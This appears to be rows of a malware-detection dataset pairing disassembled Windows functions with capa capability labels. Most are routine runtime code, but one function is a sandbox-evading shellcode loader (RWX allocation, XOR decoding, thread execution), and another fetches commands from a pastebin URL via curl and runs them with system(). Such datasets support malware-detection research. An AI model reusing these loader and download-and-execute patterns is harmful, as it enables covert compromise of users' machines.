joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14000c9c0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000ca0a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000ca0a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000ca0a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000ca0a
cmp dword [rcx + 0x84], 0xe
jbe 0x14000ca0a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14000ca0c
xor al, al
add rsp, 0x28
ret

Function at 0x14000f664
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x14000f6d3
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000f6d3
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000f6d3
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000f6d3
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000f6d3
cmp dword [rcx + 0x84], 0xe
jbe 0x14000f6d3
cmp dword [rcx + 0xf8], 0
je 0x14000f6d3
mov ecx, ebx
call fcn.14000f784
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.14000f560
nop
cmp dword [rbp + 0x20], 0
je 0x14000f721
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.14000f72c
int3
xor r8d, r8d
xor edx, edx
jmp 0x14000f664

Function at 0x14000f868
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x14000f6d3
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000f6d3
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000f6d3
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000f6d3
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000f6d3
cmp dword [rcx + 0x84], 0xe
jbe 0x14000f6d3
cmp dword [rcx + 0xf8], 0
je 0x14000f6d3
mov ecx, ebx
call fcn.14000f784
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.14000f560
nop
cmp dword [rbp + 0x20], 0
je 0x14000f721
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.14000f72c
int3
xor r8d, r8d
xor edx, edx
jmp 0x14000f664
Function at 0x140018e54
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor ebp, ebp
mov rbx, rax
test rax, rax
je 0x140018edb
mov rsi, rbx
cmp word [rax], bp
je 0x140018e9a
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], bp
jne 0x140018e84
lea rsi, [rsi + rax*2]
add rsi, 2
cmp word [rsi], bp
jne 0x140018e80
sub rsi, rbx
add rsi, 2
sar rsi, 1
add rsi, rsi
mov rcx, rsi
call fcn.140016684
mov rdi, rax
test rax, rax
je 0x140018ec8
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.140020130
mov rbp, rdi
xor ecx, ecx
call fcn.1400156a8
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x14001b4a4
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x14001b4ba
mov al, 1
jmp 0x14001b51a
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x14001b4cb
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x14001b518
mov ecx, dword [rcx + 0x18]
nop
call fcn.1400195f8
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x14001b518
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x14001b518
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x14001b518
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x14001b51a
xor al, al
add rsp, 0x20
pop rbx
ret

Function at 0x14001f930
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14001f958
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x14001f958
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x14000121a
Capabilities:
Hash data using sha256

Disassembly:
push r15
push r14
push rsi
push rdi
push rbx
sub rsp, 0x1a0
movaps xmmword [rsp + 0x190], xmm6
mov rdi, rdx
mov rbx, rcx
lea rsi, [rsp + 0x108]
xorps xmm6, xmm6
movups xmmword [rsi + 0x30], xmm6
movups xmmword [rsi + 0x20], xmm6
movups xmmword [rsi + 0x10], xmm6
movups xmmword [rsi], xmm6
movups xmm0, xmmword [0x1400af618]
movaps xmmword [rsi - 0x28], xmm0
movups xmm0, xmmword [0x1400af628]
movaps xmmword [rsi - 0x18], xmm0
and qword [rsi - 8], 0
mov byte [rsi + 0x40], 0
lea r8, str.C:WindowsSystem32.cargo_registry_srcindex.crates.io_6f17d22bba15001f_block_buffer_0.10.4_srclib.rs
xor r14d, r14d
xor ecx, ecx
mov rdx, rsi
call fcn.140001020
mov r8, rdx
lea r9, str.C:WindowsSystem32.cargo_registry_srcindex.crates.io_6f17d22bba15001f_block_buffer_0.10.4_srclib.rs
mov ecx, 0x10
mov rdx, rax
call fcn.140001000
lea rcx, str.C:WindowsSystem32.cargo_registry_srcindex.crates.io_6f17d22bba15001f_block_buffer_0.10.4_srclib.rs
mov qword [rsp + 0x20], rcx
mov r9d, 0x10
mov rcx, rax
mov r8, rdi
call fcn.140001635
mov byte [rsi + 0x40], 0x10
lea rax, [rsp + 0x70]
lea rsi, [rsp + 0xe0]
mov ecx, 0xe
mov rdi, rax
rep movsq qword [rdi], qword [rsi]
movaps xmmword [rsp + 0x60], xmm6
movaps xmmword [rsp + 0x50], xmm6
lea rsi, [rsp + 0x98]
movaps xmmword [rsp + 0x40], xmm6
movaps xmmword [rsp + 0x30], xmm6
mov qword [rsp + 0x28], rax
movzx edi, byte [rsi + 0x40]
mov r15, qword [rsi - 8]
mov byte [rsp + rdi + 0x98], 0x80
lea rcx, [rdi + 1]
lea r8, str.C:WindowsSystem32.cargo_registry_srcindex.crates.io_6f17d22bba15001f_block_buffer_0.10.4_srclib.rs
mov rdx, rsi
call fcn.140001020
cmp rdx, r14
je 0x140001326
mov byte [rax + r14], 0
inc r14
jmp 0x140001317
lea eax, [rdi*8]
shl r15, 9
or r15, rax
bswap r15
not edi
test dil, 0x38
jne 0x140001373
lea rdi, [rsp + 0x28]
mov rcx, rdi
mov rdx, rsi
call fcn.140001c7d
xorps xmm0, xmm0
lea rdx, [rsp + 0x150]
movaps xmmword [rdx + 0x20], xmm0
movaps xmmword [rdx + 0x10], xmm0
movaps xmmword [rdx], xmm0
and qword [rdx + 0x30], 0
mov qword [rdx + 0x38], r15
mov rcx, rdi
jmp 0x140001383
mov qword [rsp + 0xd0], r15
lea rcx, [rsp + 0x28]
mov rdx, rsi
call fcn.140001c7d
mov byte [rsp + 0xd8], 0
mov rax, qword [rsp + 0x28]
xor ecx, ecx
cmp rcx, 8
je 0x1400013ab
mov edx, dword [rax + rcx*4]
bswap edx
mov dword [rsp + rcx*4 + 0x30], edx
inc rcx
jmp 0x140001397
movaps xmm0, xmmword [rsp + 0x30]
movaps xmm1, xmmword [rsp + 0x40]
movaps xmmword [rsp + 0x50], xmm0
movaps xmmword [rsp + 0x60], xmm1
movups xmmword [rbx + 0x10], xmm1
movups xmmword [rbx], xmm0
movaps xmm6, xmmword [rsp + 0x190]
add rsp, 0x1a0
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
Function at 0x140001af5
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0x40
test byte [rdx], 1
je 0x140001b34
lea rax, [rdx + 8]
cmp qword [rdx + 0x38], 0xffffffffffffffff
mov r8, qword [rdx + 0x48]
mov r9, qword [rdx + 0x50]
mov r10, qword [rdx + 0x58]
mov rdx, qword [rdx + 0x60]
je 0x140001c23
mov qword [rsp + 0x28], rdx
mov qword [rsp + 0x20], r10
mov byte [rsp + 0x30], 0
jmp 0x140001c32
cmp byte [rdx + 0x1a], 0
jne 0x140001c46
mov rax, qword [rdx + 0x48]
mov r9, qword [rdx + 0x50]
mov r8, qword [rdx + 8]
mov r10b, byte [rdx + 0x18]
mov r11d, r10d
xor r11b, 1
mov byte [rdx + 0x18], r11b
test r8, r8
je 0x140001b75
cmp r8, r9
jae 0x140001b6f
cmp byte [rax + r8], 0xbf
jg 0x140001b75
jmp 0x140001c65
jne 0x140001c65
cmp r8, r9
je 0x140001c3c
mov bl, byte [rax + r8]
movzx r11d, bl
test r11b, r11b
jns 0x140001be2
mov esi, r11d
and esi, 0x1f
movzx edi, byte [rax + r8 + 1]
and edi, 0x3f
cmp r11b, 0xdf
jbe 0x140001bd2
movzx r11d, byte [rax + r8 + 2]
shl edi, 6
and r11d, 0x3f
or r11d, edi
cmp bl, 0xf0
jb 0x140001bdc
movzx edi, byte [rax + r8 + 3]
and esi, 7
shl esi, 0x12
shl r11d, 6
and edi, 0x3f
or edi, r11d
or edi, esi
mov r11d, edi
jmp 0x140001be2
shl esi, 6
or esi, edi
mov r11d, esi
jmp 0x140001be2
shl esi, 0xc
or r11d, esi
test r10b, 1
jne 0x140001c4a
mov r10d, 1
cmp r11d, 0x80
jb 0x140001c17
mov r10d, 2
cmp r11d, 0x800
jb 0x140001c17
cmp r11d, 0x10000
mov r10d, 4
sbb r10, 0
add r8, r10
mov qword [rdx + 8], r8
jmp 0x140001b4a
mov qword [rsp + 0x28], rdx
mov qword [rsp + 0x20], r10
mov byte [rsp + 0x30], 1
mov rdx, rax
call fcn.140001479
jmp 0x140001c5d
test r10b, 1
jne 0x140001c4d
mov byte [rdx + 0x1a], 1
xor eax, eax
jmp 0x140001c5a
mov r9, r8
mov qword [rcx + 8], r9
mov qword [rcx + 0x10], r9
mov eax, 1
mov qword [rcx], rax
add rsp, 0x40
pop rbx
pop rdi
pop rsi
ret
lea rcx, [0x1400bb438]
mov qword [rsp + 0x20], rcx
mov rcx, rax
mov rdx, r9
call fcn.1400ad990
int3
Function at 0x14009df80
Capabilities:
Encode data using xor

Disassembly:
push rbp
mov rbp, rsp
mov rax, rdx
sub rdx, rcx
cmp rdx, 0x20
jae 0x14009dfa5
cmp rax, rcx
je 0x14009dfab
cmp rdx, 4
jae 0x14009dfb2
xor eax, eax
xor r8d, r8d
jmp 0x14009e050
pop rbp
jmp fcn.140097080
xor eax, eax
jmp 0x14009e067
mov r8d, edx
and r8d, 0x1c
pxor xmm0, xmm0
xor eax, eax
movdqa xmm2, xmmword [0x1400af390]
movdqa xmm3, xmmword [0x1400af3a0]
pxor xmm1, xmm1
nop word cs:[rax + rax]
movzx r9d, word [rcx + rax]
movd xmm4, r9d
movzx r9d, word [rcx + rax + 2]
movd xmm5, r9d
pcmpgtb xmm4, xmm2
punpcklbw xmm4, xmm4
pshuflw xmm4, xmm4, 0xd4
pshufd xmm4, xmm4, 0xd4
pand xmm4, xmm3
paddq xmm0, xmm4
pcmpgtb xmm5, xmm2
punpcklbw xmm5, xmm5
pshuflw xmm4, xmm5, 0xd4
pshufd xmm4, xmm4, 0xd4
pand xmm4, xmm3
paddq xmm1, xmm4
add rax, 4
cmp r8, rax
jne 0x14009dfe0
paddq xmm1, xmm0
pshufd xmm0, xmm1, 0xee
paddq xmm0, xmm1
movq rax, xmm0
cmp r8, rdx
je 0x14009e067
nop dword [rax]
xor r9d, r9d
cmp byte [rcx + r8], 0xc0
setge r9b
add rax, r9
inc r8
cmp rdx, r8
jne 0x14009e050
pop rbp
ret

Function at 0x1400a316b
Capabilities:
Hash data using murmur3

Disassembly:
push r15
push r14
push r12
push rsi
push rdi
push rbp
push rbx
mov r10d, r8d
rol r10d, 0x19
mov eax, dword [rdx]
mov esi, eax
rol esi, 0x19
mov r11d, dword [rdx + 4]
mov ebp, r11d
rol ebp, 0x19
mov edi, dword [rdx + 8]
mov r14d, edi
rol r14d, 0x19
mov ebx, r8d
rol ebx, 0xe
xor ebx, r10d
mov r15d, eax
rol r15d, 0xe
xor r15d, esi
mov r12d, r11d
rol r12d, 0xe
xor r12d, ebp
mov ebp, edi
rol ebp, 0xe
mov r10, qword [rsp + 0x60]
xor ebp, r14d
shr r8d, 3
mov esi, eax
shr esi, 3
xor esi, r15d
add esi, r11d
shr r11d, 3
xor r11d, r12d
add r11d, edi
shr edi, 3
xor edi, ebp
add edi, dword [rdx + 0xc]
add esi, dword [r9]
add r11d, dword [r9 + 4]
add edi, dword [r9 + 8]
mov edx, dword [r10 + 4]
mov ebp, edx
rol ebp, 0xf
xor r8d, ebx
mov ebx, edx
rol ebx, 0xd
mov r9d, dword [r10]
xor ebx, ebp
shr edx, 0xa
xor edx, ebx
add edx, edi
mov edi, r9d
rol edi, 0xf
mov ebx, r9d
rol ebx, 0xd
xor ebx, edi
shr r9d, 0xa
mov edi, edx
rol edi, 0xf
xor r9d, ebx
mov ebx, edx
rol ebx, 0xd
add r9d, r11d
xor ebx, edi
mov r11d, edx
shr r11d, 0xa
xor r11d, ebx
mov edi, r9d
rol edi, 0xf
add r11d, esi
mov esi, r9d
rol esi, 0xd
xor esi, edi
mov edi, r9d
shr edi, 0xa
xor edi, esi
add eax, dword [r10 + 0xc]
add eax, r8d
add eax, edi
mov dword [rcx], eax
mov dword [rcx + 4], r11d
mov dword [rcx + 8], r9d
mov dword [rcx + 0xc], edx
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
Function at 0x1400a3aab
Capabilities:
Hash data using sha256 via x86 extensions

Disassembly:
movaps xmm0, xmmword [rdx]
sha256msg1 xmm0, xmmword [r8]
movaps xmmword [rcx], xmm0
ret

Function at 0x1400a3ac7
Capabilities:
Hash data using sha256 via x86 extensions

Disassembly:
movaps xmm0, xmmword [rdx]
sha256msg2 xmm0, xmmword [r8]
movaps xmmword [rcx], xmm0
ret
Function at 0x1400a7760
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rbp
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rsp + 0x20]
movzx r9d, byte [rdx + 0x38]
cmp byte [rcx - 0x80], al
stc
add dword [rsi + 7], esi
movzx r8d, byte [rdx + 0x3a]
test r8b, 1
jne 0x1400a77ce
movzx eax, byte [rdx + 0x10]
lea r10d, [rax - 5]

Function at 0x1400a8750
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x78
in al, dx
js 0x1400a87a9
lea ebp, [rsp + 0x70]
Function at 0x1400ace14
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400ace5e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400ace5e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400ace5e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400ace5e
cmp dword [rcx + 0x84], 0xe
jbe 0x1400ace5e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400ace60
xor al, al
add rsp, 0x28
ret
Function at 0x140004907
Capabilities:
Delete directory

Disassembly:
push rbp
push r15
xor rax, rax
push rax
push rax
sub rsp, 0x28
call fcn.1400123e0
mov r15, qword [0x14002048c]
cmp r15, 1
jne 0x1400049d6
push qword [0x14002057c]
pop rcx
call fcn.14000d5b4
mov r15, rax
and r15, r15
jle 0x14000496c
mov rcx, qword [0x14002057c]
call fcn.14000d5bc
mov rcx, qword [0x14002057c]
call fcn.14000d5d0
or rax, rax
je 0x14000496c
mov rbp, qword [0x140020584]
push qword [rbp + 0x10]
pop rcx
call fcn.14000da6c
jmp 0x140004949
push qword [0x14002056c]
pop rcx
call fcn.14000d5b4
mov qword [rsp + 0x28], rax
mov r15, qword [rsp + 0x28]
and r15, r15
jle 0x1400049d6
push 5
push 0
push 1
push qword [0x14002056c]
pop rcx
pop rdx
pop r8
pop r9
call fcn.140009070
mov rcx, qword [0x14002056c]
call fcn.14000d5bc
mov rcx, qword [0x14002056c]
call fcn.14000d5d0
or rax, rax
je 0x1400049d6
mov rbp, qword [0x140020574]
push qword [rbp + 0x14]
pop rcx
call sub.KERNEL32.dll_RemoveDirectoryW
jmp 0x1400049b3
mov rax, 1
jmp 0x1400049e2
add rsp, 0x38
pop r15
pop rbp
ret

Function at 0x140006a58
Capabilities:
Get thread local storage value

Disassembly:
sub rsp, 0x48
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x30], rcx
call sub.KERNEL32.dll_GetLastError
mov qword [rsp + 0x38], rax
mov rcx, qword [0x14001f190]
call sub.KERNEL32.dll_TlsGetValue
mov rcx, qword [rsp + 0x30]
mov qword [rax + 0x10], rcx
mov rcx, qword [rsp + 0x38]
call sub.KERNEL32.dll_SetLastError
mov rax, qword [rsp + 0x28]
add rsp, 0x48
ret

Function at 0x14000720c
Capabilities:
Terminate thread

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rdi, rcx
call fcn.14000719c
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateThread]
lea rcx, [0x140021170]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1400205b8]
jmp 0x140007248
cmp qword [rbx + 0x18], rdi
je 0x14000724f
mov rbx, qword [rbx]
test rbx, rbx
jne 0x14000723f
jmp 0x140007269
mov rcx, qword [rbx + 0x10]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rbx + 0x10]
lea rcx, [0x1400205b8]
call fcn.140011c68
lea rcx, [0x140021170]
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
invalid
invalid
invalid
invalid
invalid
invalid
invalid
invalid
invalid
Function at 0x1400026c0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000270a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000270a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000270a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000270a
cmp dword [rcx + 0x84], 0xe
jbe 0x14000270a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14000270c
xor al, al
add rsp, 0x28
ret
Function at 0x140001000
Capabilities:
Allocate or change rwx memory
Create thread
Encode data using xor
Enumerate process modules
Execute shellcode via indirect call
Spawn thread to rwx shellcode

Disassembly:
push rdi
mov eax, 0x1310
call fcn.140002000
sub rsp, rax
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x1300], rax
mov ecx, 0x409
call qword [sym.imp.KERNEL32.dll_SetThreadLocale]
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_GetDynamicTimeZoneInformation]
lea r8, [rsp + 0xec]
mov edx, 0x80
lea rax, [rsp + 0x11f0]
sub r8, rax
lea rcx, [rsp + 0x11f0]
nop word [rax + rax]
lea rax, [rdx + 0x7fffff7e]
test rax, rax
je 0x140001083
movzx eax, word [r8 + rcx]
test ax, ax
je 0x140001083
mov word [rcx], ax
add rcx, 2
sub rdx, 1
jne 0x140001060
lea rax, [rcx - 2]
test rdx, rdx
cmovne rax, rcx
xor edi, edi
lea rcx, [rsp + 0x11f0]
mov word [rax], di
call qword [sym.imp.USER32.dll_CharUpperW]
lea rdx, [0x140003470]
lea rcx, [rsp + 0x11f0]
call qword [sym.imp.VCRUNTIME140.dll_wcsstr]
test rax, rax
je 0x1400011bb
lea r8, [rsp + 0x30]
mov edx, 0x1000
lea rcx, [rsp + 0x1f0]
call qword [sym.imp.KERNEL32.dll_K32EnumProcesses]
mov eax, dword [rsp + 0x30]
and eax, 0xfffffffc
cmp eax, 0xc8
jb 0x1400011bb
call qword [sym.imp.KERNEL32.dll_GetTickCount64]
cmp rax, 0x124f80
jb 0x1400011bb
mov qword [rsp + 0x1320], rbx
call qword [sym.imp.KERNEL32.dll_GetTickCount64]
lea rcx, str.ntdll.dll
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.NtDelayExecution
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rsp + 0x38]
mov qword [rsp + 0x38], 0xffffffffc4653600
xor ecx, ecx
call rax
call qword [sym.imp.KERNEL32.dll_GetTickCount64]
sub rax, rbx
mov rbx, qword [rsp + 0x1320]
cmp rax, 0x186a0
jb 0x1400011bb
mov edx, 1
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
lea rcx, [0x1400032a0]
movzx ecx, cl
movzx edx, byte [rcx]
mov rcx, rax
mov byte [rax], dl
mov edx, edi
xor byte [rcx], 0x35
lea rcx, [rcx + 1]
inc edx
cmp edx, 1
jb 0x140001181
lea rcx, [rsp + 0x34]
xor r9d, r9d
mov qword [rsp + 0x28], rcx
mov r8, rax
xor ecx, ecx
mov dword [rsp + 0x20], edi
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor eax, eax
mov rcx, qword [rsp + 0x1300]
xor rcx, rsp
call fcn.1400011f0
add rsp, 0x1310
pop rdi
ret

Function at 0x140001ab8
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001b02
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001b02
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001b02
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001b02
cmp dword [rcx + 0x84], 0xe
jbe 0x140001b02
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001b04
xor al, al
add rsp, 0x28
ret
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x140009870]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x140009880]
mov dword [rax], 1
mov rax, qword [0x140009890]
mov dword [rax], 1
mov rax, qword [0x140009860]
mov dword [rax], 1
mov rax, qword [0x140009720]
cmp word [rax], 0x5a4d
jne 0x140001067
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010d0
mov rax, qword [0x140009850]
mov dword [0x14000c00c], ecx
mov eax, dword [rax]
test eax, eax
jne 0x1400010c0
mov ecx, 1
call sym.__set_app_type
call dbg.__p__fmode
mov rdx, qword [0x140009810]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg.__p__commode
mov rdx, qword [0x1400097f0]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg._setargv
mov rax, qword [0x1400096d0]
cmp dword [rax], 1
je 0x140001108
xor eax, eax
add rsp, 0x28
ret
mov ecx, 2
call sym.__set_app_type
jmp 0x140001084
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001120
cmp dx, 0x20b
jne 0x140001067
cmp dword [rax + 0x84], 0xe
jbe 0x140001067
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x140001067
lea rcx, [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x140001067
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x140001067

Function at 0x14000159a
Capabilities:
Execute command

Disassembly:
push rbp
sub rsp, 0x850
lea rbp, [rsp + 0x80]
call dbg.__main
lea rax, str.curl__s_https:__pastebin.com_raw_tvk3jF4n
mov qword [rbp + 0x7c8], rax
mov rax, qword [rbp + 0x7c8]
lea rdx, [0x14000902a]
mov rcx, rax
mov rax, qword [sym.imp.msvcrt.dll__popen]
call rax
mov qword [rbp + 0x7c0], rax
cmp qword [rbp + 0x7c0], 0
jne 0x140001665
lea rcx, str.popen
call sym.perror
mov eax, 1
jmp 0x1400016bc
lea rax, [rbp + 0x3b0]
lea rdx, [0x140009032]
mov rcx, rax
call sym.strcspn
mov byte [rbp + rax + 0x3b0], 0
lea rdx, [rbp + 0x3b0]
lea rax, [rbp - 0x60]
mov r9, rdx
lea r8, str._s___NUL_2_1
mov edx, 0x40a
mov rcx, rax
call sym.snprintf
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.system
mov dword [rbp + 0x7bc], eax
cmp dword [rbp + 0x7bc], 0xffffffff
jne 0x140001665
lea rcx, str.system
call sym.perror
mov rdx, qword [rbp + 0x7c0]
lea rax, [rbp + 0x3b0]
mov r8, rdx
mov edx, 0x400
mov rcx, rax
call sym.fgets
test rax, rax
jne 0x1400015fe
mov rax, qword [rbp + 0x7c0]
mov rcx, rax
mov rax, qword [sym.imp.msvcrt.dll__pclose]
call rax
cmp eax, 0xffffffff
jne 0x1400016b7
lea rcx, str.pclose
call sym.perror
mov eax, 1
jmp 0x1400016bc
mov eax, 0
add rsp, 0x850
pop rbp
ret

Function at 0x1400019a0
Capabilities:
Write file on windows

Disassembly:
push r12
push rbx
sub rsp, 0x38
mov r12, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call dbg.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rbx, qword [rsp + 0x28]
mov ecx, 2
call dbg.__acrt_iob_func
mov rdx, r12
mov rcx, rax
mov r8, rbx
call sym.vfprintf
call sym.abort
nop
nop word [rax + rax]